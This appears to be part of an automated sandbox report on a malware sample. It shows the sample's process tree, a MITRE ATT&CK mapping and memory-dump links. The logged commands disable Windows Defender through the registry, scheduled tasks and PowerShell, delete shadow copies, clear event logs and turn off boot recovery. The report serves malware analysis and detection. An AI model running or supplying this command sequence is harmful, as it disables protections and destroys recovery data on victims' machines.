  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2016
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:1496
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:1856
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:1388
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:432
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:812
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:1760
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:1064
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:1564
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  PID:1260
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:1952
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:1932
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:1796
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:928
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:612
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1332
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1720
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:1116
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:848
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:752
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:1940
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:1256
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:1944
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:1748
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1392
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:944
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1616
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:456
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1396
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1148
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1292
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:1980
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:756
- C:\Windows\system32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1060
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1244
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:852
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:240
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:484
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2000
- C:\Windows\system32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:388
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:1628
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:988
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:2104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2124

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/988-123-0x0000000002A40000-0x0000000002A42000-memory.dmp

Download

memory/988-125-0x0000000002A42000-0x0000000002A44000-memory.dmp

Download

memory/988-126-0x0000000002A44000-0x0000000002A47000-memory.dmp

Download

memory/988-124-0x000007FEF2180000-0x000007FEF2CDD000-memory.dmp

Download

memory/988-127-0x0000000002A4B000-0x0000000002A6A000-memory.dmp

Download

memory/1500-114-0x000007FEFB6F1000-0x000007FEFB6F3000-memory.dmp

Download

memory/2124-130-0x000007FEF2180000-0x000007FEF2CDD000-memory.dmp

Download

memory/2124-135-0x0000000002434000-0x0000000002437000-memory.dmp

Download

memory/2124-134-0x0000000002432000-0x0000000002434000-memory.dmp

Download

memory/2124-133-0x000000000243B000-0x000000000245A000-memory.dmp

Download

memory/2124-132-0x0000000002430000-0x0000000002432000-memory.dmp

Download

memory/2124-131-0x000000001B730000-0x000000001BA2F000-memory.dmp

Download